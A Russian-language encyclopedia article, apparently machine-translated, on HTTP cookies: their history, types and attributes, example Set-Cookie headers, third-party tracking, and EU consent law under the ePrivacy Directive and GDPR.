Файлы cookie HTTP (также называемые веб-файлами cookie , интернет-файлами cookie , файлами cookie браузера или просто файлами cookie ) представляют собой небольшие блоки данных , создаваемые веб-сервером , когда пользователь просматривает веб - сайт , и размещаемые на компьютере пользователя или другом устройстве веб-браузером пользователя . Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного файла cookie.
Файлы cookie выполняют полезные, а иногда и важные функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлое ). [1] Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля формы , такой как имена, адреса, пароли и номера платежных карт, для последующего использования.
Файлы cookie аутентификации обычно используются веб-серверами для проверки того, что пользователь вошел в систему и с какой учетной записью он вошел в систему. Без файлов cookie пользователям необходимо было бы аутентифицировать себя, входя в систему на каждой странице, содержащей конфиденциальную информацию, к которой они хотят получить доступ. . Безопасность файла cookie аутентификации обычно зависит от безопасности выдающего его веб-сайта и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности могут позволить злоумышленнику прочитать данные файла cookie , использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый скриптинг ). подделка запроса на сайт для примера). [2]
Файлы cookie для отслеживания , и особенно сторонние файлы cookie для отслеживания, обычно используются в качестве способа составления долгосрочных записей истории посещений отдельных лиц — потенциальная проблема конфиденциальности , которая побудила законодателей Европы [3] и США принять меры в 2011 году. [4] [5] Европейское законодательство требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « информированное согласие » пользователей перед сохранением несущественных файлов cookie на их устройствах.
Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Оно произошло от термина «волшебный cookie» , который представляет собой пакет данных, который программа получает и отправляет обратно в неизмененном виде, используемый программистами Unix . [6] [7]
Волшебные файлы cookie уже использовались в вычислениях, когда в июне 1994 года программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях. [8] В то время он был сотрудником компании Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI. . Винт Серф и Джон Кленсин представляли MCI в технических переговорах с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape вместо этого найти способ хранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок . [9] [10]
В том же году вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 года, [11] [12] поддерживала файлы cookie. [10] Первое использование файлов cookie (вне лабораторных исследований) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию файлов cookie в 1995 году, который был выдан в 1998 году. [13] Поддержка файлов cookie была интегрирована с Internet Explorer в версии 2, выпущенной в октябре 1995 года. [14]
В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не были уведомлены об их наличии. [ нужна цитата ] Общественность узнала о файлах cookie после того, как Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. [2]
Разработка формальных спецификаций файлов cookie уже продолжается. В частности, первые обсуждения официальной спецификации начались в апреле 1995 года в списке рассылки www-talk . В рамках Internet Engineering Task Force (IETF) была сформирована специальная рабочая группа . Два альтернативных предложения по введению состояния в HTTP-транзакции были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. [16] В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 о сторонних файлах cookie не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.
В RFC 2965 добавлено Set-Cookie2 поле заголовка , которое неофициально стало называться «cookie-файлами в стиле RFC 2965», в отличие от исходного Set-Cookieполя заголовка, которое называлось «cookie-файлами в стиле Netscape». Однако [17] [18] Set-Cookie2 использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [19] Ни один современный браузер не распознает Set-Cookie2поле заголовка. [20]
Сеансовый файл cookie (также известный как файл cookie в памяти , временный файл cookie или непостоянный файл cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. [21] Срок действия файлов cookie сеанса истекает или они удаляются, когда пользователь закрывает веб-браузер. [22] Сеансовые файлы cookie идентифицируются браузером по отсутствию назначенной для них даты истечения срока действия.
Срок действия постоянного файла cookie истекает в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу). ).
По этой причине постоянные файлы cookie иногда называют файлами cookie отслеживания [ нужна ссылка ] , поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя просматривать веб-страницы в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение входа пользователей в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении.
Безопасный файл cookie может передаваться только через зашифрованное соединение (т. е. HTTPS ). Их нельзя передавать по незашифрованным соединениям (т. е. HTTP ). Это снижает вероятность кражи файлов cookie в результате подслушивания . Файл cookie становится безопасным путем добавления Secureфлага к файлу cookie.
Доступ к файлу cookie только для http невозможен с помощью клиентских API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). [23] Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файлу cookie присваивается эта характеристика путем добавления HttpOnlyк нему флага.
В 2016 году в Google Chrome версии 51 был представлен [24] новый вид файлов cookie с атрибутом SameSiteс возможными значениями Strict, Laxили None. [25] При использовании атрибута SameSite=Strictбраузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки с подделкой межсайтовых запросов (CSRF). [26] При использовании SameSite=Laxбраузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe). Атрибут SameSite=Noneпозволяет использовать сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется безопасный атрибут для файлов cookie SameSite=None. [27]
Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: механизм управления состоянием HTTP» [28] для обновления RFC 6265 (в случае одобрения).
Chrome, Firefox и Edge начали поддерживать файлы cookie одного сайта. [29] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite=None, что позволит всем веб-сайтам/приложениям работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite=LaxChrome 80, выпуск которого запланирован на февраль 2020 года, [30] но из-за потенциальной поломки тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, а также из-за обстоятельств COVID-19 , Google отложил это изменение до Chrome 84. [31] [32]
Суперкуки — это файлы cookie , источником которых является домен верхнего уровня (например, .com) или общедоступный суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.
Суперкуки могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или выдать себя за законные запросы пользователей на другой веб-сайт, который использует тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, суперкуки с источником .com, могут злонамеренно повлиять на запрос, отправленный на example.com, даже если куки-файл исходит не от example.com. Это может быть использовано для подделки входа в систему или изменения информации о пользователе.
Список общедоступных суффиксов [33] помогает снизить риск, который представляют суперкуки. Список общедоступных суффиксов — это инициатива нескольких поставщиков, целью которой является предоставление точного и актуального списка суффиксов доменных имен. Более старые версии браузеров могут не иметь обновленного списка и поэтому будут уязвимы для суперкуки из определенных доменов.
Термин «суперкуки» иногда используется для обозначения технологий отслеживания, которые не используют файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма суперкуки : синхронизация файлов cookie, которая порождала файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . [34] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [35] В сообщении в блоге 2021 года Mozilla использовала термин «суперкуки» для обозначения использования кеша браузера как средства отслеживания пользователей на разных сайтах. [36]
Зомби -куки — это данные и код, которые были размещены веб-сервером на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения куки-файлов веб-браузера посетителя и которые автоматически воссоздают HTTP-куки-файл как обычный куки-файл после исходный файл cookie был удален. Файл cookie-зомби может храниться в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и других местах на стороне клиента и даже на стороне сервера, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается код JavaScript, использующий данные, хранящиеся в других местах. [37] [38]
На веб-сайте появляется стена файлов cookie и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет возможности отклонения, и веб-сайт недоступен без файлов cookie отслеживания.
Файл cookie состоит из следующих компонентов: [39] [40] [41]
Secureи HttpOnly).Первоначально файлы cookie были созданы для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят приобрести, при навигации по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). [9] [10] Сегодня, однако, содержимое корзины пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь к какой корзине покупок привязан, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса (обычно длинную строку случайных букв и цифр). Поскольку файлы cookie отправляются на сервер при каждом запросе клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу веб-сайта, что позволяет серверу узнать, какую корзину покупок отображать пользователю.
Еще одно популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.
Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает объем личной информации о каждом пользователе, которую веб-сайт может сохранить, практически безграничным — веб-сайт не ограничен ограничениями относительно размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в сеансовых файлах cookie невелик и требует небольшой пропускной способности.
Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать этому пользователю релевантный контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.
Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу веб-сайта, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google однажды использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы пользователи могли устанавливать предпочтения просмотра, например цвета веб-страницы.
Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или поле Referer заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:
Анализируя этот файл журнала, можно узнать, какие страницы посещал пользователь, в какой последовательности и как долго.
Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Газета Wall Street Journal обнаружила, что на пятидесяти крупнейших веб-сайтах Америки было установлено в среднем шестьдесят четыре технологии отслеживания на компьютерах, в результате чего в общей сложности было создано 3180 файлов отслеживания. [42] Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.
Файлы cookie представляют собой произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером, а затем сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, добавляя состояния (память о предыдущих событиях) в HTTP- транзакции без сохранения состояния. Без файлов cookie каждый запрос веб-страницы или компонента веб-страницы был бы изолированным событием, практически не связанным со всеми другими просмотрами страниц, совершаемыми пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если не установлен флаг файла cookie HttpOnly, в этом случае файл cookie не может быть изменен с помощью языков сценариев).
Спецификации файлов cookie [43] [44] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:
Файлы cookie устанавливаются с использованием Set-Cookie поля заголовка , отправляемого в ответе HTTP от веб-сервера. Это поле заголовка указывает веб-браузеру хранить файл cookie и отправлять его обратно при будущих запросах на сервер (браузер будет игнорировать это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).
Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу веб- www.example.orgсайта:
GET /index.html HTTP / 1.1 Хост : www.example.org ...Сервер отвечает двумя Set-Cookieполями заголовка:
HTTP / 1.0 200 OK Тип контента : text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; Срок действия истекает=Ср, 09 июня 2021 г., 10:18:14 GMT ...HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также предписывает браузеру установить два файла cookie. Первый, theme , считается файлом cookie сеанса , поскольку у него нет атрибута Expiresили Max-Age. Сеансовые файлы cookie предназначены для удаления браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie , поскольку он содержит Expiresатрибут, который указывает браузеру удалить файл cookie в определенную дату и время.
Далее браузер отправляет еще один запрос на посещение spec.htmlстраницы на сайте. Этот запрос содержит Cookieполе заголовка, содержащее два файла cookie, которые сервер поручил браузеру установить:
GET /spec.html HTTP / 1.1 Хост : www.example.org Файл cookie : theme=light; sessionToken=abc123 …Таким образом, сервер узнает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включив дополнительные Set-Cookieполя заголовков в ответ HTTP, чтобы дать браузеру указание добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookieполе заголовка с датой истечения срока действия в прошлом.
Значение файла cookie может состоять из любого печатаемого символа ASCII! ( через Unicode ) ~, за исключением символов и и пробелов . В имени файла cookie исключены те же символы, а также символ , поскольку он является разделителем между именем и значением. Стандарт файлов cookie RFC 2965 является более ограничительным, но не реализуется браузерами. \u0021\u007E,;=
Термин «крошка файла cookie» иногда используется для обозначения пары «имя-значение» файла cookie. [45]
Файлы cookie также могут устанавливаться с помощью языков сценариев, таких как JavaScript , которые запускаются в браузере. document.cookieВ JavaScript для этой цели используется объект . Например, инструкция document.cookie = "temperature=20"создает файл cookie с именем температуры и значением 20 . [46]
Помимо имени и значения файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу — они отправляют только имя и значение файла cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда следует удалить файл cookie, заблокировать его или отправить файл cookie на сервер.
Атрибуты Domainи Pathопределяют область действия файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По соображениям безопасности файлы cookie можно устанавливать только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, веб-сайт example.orgне может установить файл cookie с доменом, foo.comпоскольку это позволит веб-сайту example.orgконтролировать файлы cookie домена foo.com.
Если файлы cookie Domainи Pathатрибуты не указаны сервером, по умолчанию они используют домен и путь к запрошенному ресурсу. [47] Однако в большинстве браузеров существует разница между набором файлов cookie foo.comбез домена и файлом cookie с доменом foo.com. В первом случае файл cookie будет отправляться только для запросов к foo.com, также известный как файл cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [48] [49] Заметным исключением из этого общего правила являются Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), который всегда отправляет файлы cookie в поддомены независимо от того, был ли файл cookie установлен с помощью или без домена. [50]
Ниже приведен пример некоторых Set-Cookieполей заголовка в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в субдомене docs.foo.com:
HTTP / 1.0 200 ОК Set-Cookie : LSID=DQAAAK…Eaem_vYg; Путь=/аккаунты; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; Домен=.foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; HttpOnly Set-Cookie : SSID=Ap4P…GTEq; Домен=foo.com; Путь=/; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; Только HTTP …Первый файл cookie LSIDне имеет Domainатрибута и имеет Pathатрибут, равный /accounts. Это указывает браузеру использовать файл cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен является производным от домена запроса). Два других файла cookie HSIDи SSIDбудут использоваться, когда браузер запрашивает любой поддомен по .foo.comлюбому пути (например, www.foo.com/bar). Точка в начале не является обязательной в последних стандартах, но ее можно добавить для совместимости с реализациями на основе RFC 2109. [51]
Атрибут Expiresопределяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [52]
В качестве альтернативы Max-Ageатрибут можно использовать для установки срока действия файла cookie в будущем в секундах относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookieполей заголовка, которые были получены с веб-сайта после входа пользователя в систему:
HTTP / 1.0 200 ОК Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = вторник, 15 января 2013 г., 21:47:38 по Гринвичу; Путь=/; Домен=.example.com; HttpOnly Set-Cookie : made_write_conn=1295214458; Путь=/; Domain=.example.com Set-Cookie : reg_fb_gate=deleted; Срок действия истекает = четверг, 1 января 1970 г., 00:00:01 по Гринвичу; Путь=/; Домен=.example.com; HttpOnlyСрок действия первого файла cookie, lu, истекает где-то 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie made_write_connне имеет срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет браузер. Значение третьего файла cookie reg_fb_gateизменено на «удален» , срок действия которого уже истек. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.
По состоянию на 2016 год [обновлять]Internet Explorer не поддерживал файлы Max-Age. [53] [54]
Атрибуты Secureи HttpOnlyне имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.
Этот Secureатрибут предназначен для того, чтобы передача файлов cookie ограничивалась зашифрованной передачей, предписывая браузерам использовать файлы cookie только через безопасные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.
Этот HttpOnlyатрибут предписывает браузерам не предоставлять файлы cookie через каналы, отличные от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтового сценария (техника всеобъемлющей атаки). [55]
Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [56]
Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie. [57] [58] [59] [60]
Файлы cookie имеют важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же интернет-домене, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время получения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например рекламные баннеры . Это открывает возможности для отслеживания истории посещений пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.
В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу от ad.foxytracking.com, которая при загрузке устанавливает файл cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.comкоторый также содержит рекламу ad.foxytracking.comи устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Рекламодатель может затем использовать эти файлы cookie для создания истории посещений пользователем всех веб-сайтов, на которых есть реклама этого рекламодателя, посредством использования поля заголовка HTTP-реферера .
По состоянию на 2014 год [обновлять]некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. [61] В среднем на одном веб-сайте устанавливалось 10 файлов cookie, при этом максимальное количество файлов cookie (основных и сторонних) достигало более 800. [62]
Более старые стандарты файлов cookie, RFC 2109 [16] и RFC 2965, рекомендуют браузерам защищать конфиденциальность пользователей и по умолчанию не разрешать обмен файлами cookie между серверами. Однако новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie, а некоторые теперь блокируют все сторонние файлы cookie по умолчанию — по состоянию на июль 2020 года к таким браузерам относятся Apple Safari , [63] Firefox , [64] и Brave . [65] Safari позволяет встроенным сайтам использовать API доступа к хранилищу для запроса разрешения на установку собственных файлов cookie. В мае 2020 года в Google Chrome 83 были представлены новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что сделало блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена возможность блокировать основные файлы cookie. [66] Chrome планирует начать блокировать сторонние файлы cookie по умолчанию в конце 2024 года. [67]
Возможность создания профилей пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действует законодательство о файлах cookie.
Операторы веб-сайтов, которые не раскрывают потребителям информацию об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Четкое раскрытие информации (например, в политике конфиденциальности ) обычно устраняет любые негативные последствия такого обнаружения файлов cookie. [68] [ не удалось проверить ]
Правительство Соединенных Штатов установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что отдел политики Белого дома по борьбе с наркотиками использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу, направленную против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставило два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив сообщение, АНБ немедленно отключило файлы cookie. [69]
В 2002 году Европейский Союз принял Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности электронных данных), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на пользовательском оборудовании. [70] [71] В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена информация о том, как эти данные используются, и пользователю предоставлена возможность отрицать это. операция хранения. Директива не требует от пользователей авторизации или предоставления уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. [72]
В 2009 году в закон были внесены поправки Директивой 2009/136/EC, которая включала изменение в параграф 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. хранилище. [71] Определение согласия перекрестно ссылается на определение в европейском законодательстве о защите данных, сначала в Директиве о защите данных 1995 года, а затем в Общем регламенте защиты данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это привело к повышению качества согласия, требуемого теми, кто хранит и получает доступ к такой информации, как файлы cookie, на устройствах пользователей. Однако в деле, решение по которому было принято в соответствии с Директивой о защите данных, Суд Европейского Союза позже подтвердил, что предыдущий закон подразумевал такое же строгое качество согласия, как и действующий документ. [73] В дополнение к требованию согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться персональными данными только в соответствии с GDPR, и для обработки потребуется юридическое основание. Так было со времени принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя GDPR в пояснительной части 30 уточняет, что сюда включены идентификаторы файлов cookie. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать каким-либо другим основанием. [74] [75]
Согласие в соответствии с GDPR и Директивой о конфиденциальности в Интернете должно соответствовать ряду условий в отношении файлов cookie. [76] Оно должно быть предоставлено свободно и недвусмысленно: предварительно отмеченные поля были запрещены как Директивой о защите данных 1995 года [73] , так и GDPR (декларативная часть 32). [77] В GDPR конкретно указано, что согласие должно быть «легко отозвать, как и дать», [77] это означает, что кнопка «отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «принять все». . [76] Оно должно быть конкретным и информированным, то есть согласие относится к конкретным целям использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. [78] [79] Суд Европейского Союза также постановил, что согласие должно быть «эффективным и своевременным», то есть оно должно быть получено до того, как будут установлены файлы cookie и начнется обработка данных, а не после этого. [80]
Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [81] Однако ученые отмечают, что обременительный характер всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель посредством запутанных запросов, которые могут быть несовместимы с GDPR. [74]
Как академические исследования, так и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, охватывающее 10 000 британских веб-сайтов, показало, что только 11,8% сайтов соблюдают минимальные юридические требования, и только 33,4% изученных веб-сайтов предоставляют механизм отклонения файлов cookie, который был так же прост в использовании, как и их принятие. [76] Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушили этот критерий, а также выяснилось, что многие из них устанавливают сторонние файлы cookie без какого-либо предварительного уведомления. [82] Регулирующий орган Великобритании, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Система прозрачности и согласия», разработанная группой рекламных технологий, Бюро интерактивной рекламы, «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточно для обеспечения свободного и осознанного согласия с соответствующими последствиями для соблюдения PECR [конфиденциальности электронной почты]». [78] Многие компании, продающие решения по соблюдению требований (платформы управления согласием), разрешают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности. [83]
Спецификация W3C под названием P3P была предложена для того, чтобы серверы сообщали свою политику конфиденциальности браузерам, обеспечивая автоматическую, настраиваемую пользователем обработку. Однако немногие веб-сайты реализуют эту спецификацию, и W3C прекратил работу над ней. [84]
Сторонние файлы cookie могут быть заблокированы большинством браузеров для повышения конфиденциальности и уменьшения отслеживания со стороны рекламных и отслеживающих компаний, не оказывая при этом негативного влияния на работу пользователя в Интернете на всех сайтах. На некоторых сайтах действуют «стены файлов cookie», которые обуславливают доступ к сайту разрешением использования файлов cookie либо технически в браузере, либо нажатием кнопки «Принять», либо и тем, и другим. [85] В 2020 году Европейский совет по защите данных , в состав которого входят все регуляторы ЕС по защите данных, заявил, что стены cookie являются незаконными.
Чтобы согласие было дано свободно, доступ к услугам и функциям не должен обуславливаться согласием пользователя на хранение информации или получением доступа к уже сохраненной информации в терминальном оборудовании пользователя (так называемое стены печенья). [86]
Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы: общий файл cookie в браузере останавливает поведенческую рекламу. [87] [88] Однако это часто неэффективно против многих форм отслеживания, таких как собственное отслеживание, популярность которого растет, чтобы избежать влияния браузеров, блокирующих сторонние файлы cookie. [89] [90] Кроме того, если такую настройку выполнить сложнее, чем принять отслеживание, это по-прежнему нарушает условия Директивы о конфиденциальности электронных данных. [76]
